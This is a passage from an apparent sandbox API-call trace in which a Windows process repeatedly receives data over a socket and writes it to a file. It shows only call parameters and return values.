lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0112.140] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0112.218] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0112.219] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0112.219] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0112.292] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0112.292] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x5d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x5d60, lpOverlapped=0x0) returned 1 [0112.292] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0112.366] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0112.367] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0112.443] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0112.444] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0112.587] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0112.588] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0112.588] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0112.589] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0112.661] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0112.662] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 50400 [0112.815] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xc4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xc4e0, lpOverlapped=0x0) returned 1 [0112.816] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0112.893] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0112.894] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 47600 [0113.045] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0113.046] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0113.125] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0113.126] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0113.205] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0113.206] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0113.281] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0113.282] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0113.282] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0113.282] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0113.349] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0113.354] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0113.354] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0113.355] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0113.456] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0113.456] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0113.456] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0113.456] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0113.504] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0113.504] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0113.504] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0113.584] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0113.585] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x5d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x5d60, lpOverlapped=0x0) returned 1 [0113.585] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0113.585] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0113.586] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0113.658] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0113.658] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0113.658] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0113.659] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0113.723] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0113.723] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0113.723] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0113.723] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0113.794] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0113.794] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0113.794] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0113.795] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0113.866] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0113.867] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0113.867] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0113.867] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0113.935] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0113.936] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0114.017] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0114.018] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0114.018] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0114.090] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0114.091] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x5d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x5d60, lpOverlapped=0x0) returned 1 [0114.092] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0114.092] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0114.092] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0114.152] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0114.153] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0114.153] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0114.153] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0114.219] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0114.219] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0114.219] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0114.220] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0114.297] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0114.297] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0114.298] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0114.298] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0114.379] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0114.379] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0114.380] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0114.380] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0114.461] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0114.462] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0114.462] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0114.462] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0114.537] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0114.537] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0114.537] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0114.537] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0114.596] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0114.596] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0114.605] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0114.605] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0114.605] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x1bc0, lpOverlapped=0x0) returned 1 [0114.605] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0114.683] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0114.684] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0114.684] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0114.684] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0114.764] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0114.765] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0114.765] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0114.765] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0114.836] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0114.837] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0114.896] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0114.896] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0114.971] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0114.971] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 42000 [0115.057] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xa410, lpOverlapped=0x0) returned 1 [0115.058] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0115.058] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0115.058] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0115.138] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0115.138] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0115.138] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0115.139] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0115.209] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0115.209] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 39200 [0115.269] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0115.270] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 42000 [0115.341] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xa410, lpOverlapped=0x0) returned 1 [0115.341] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0115.341] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0115.342] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0115.418] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, 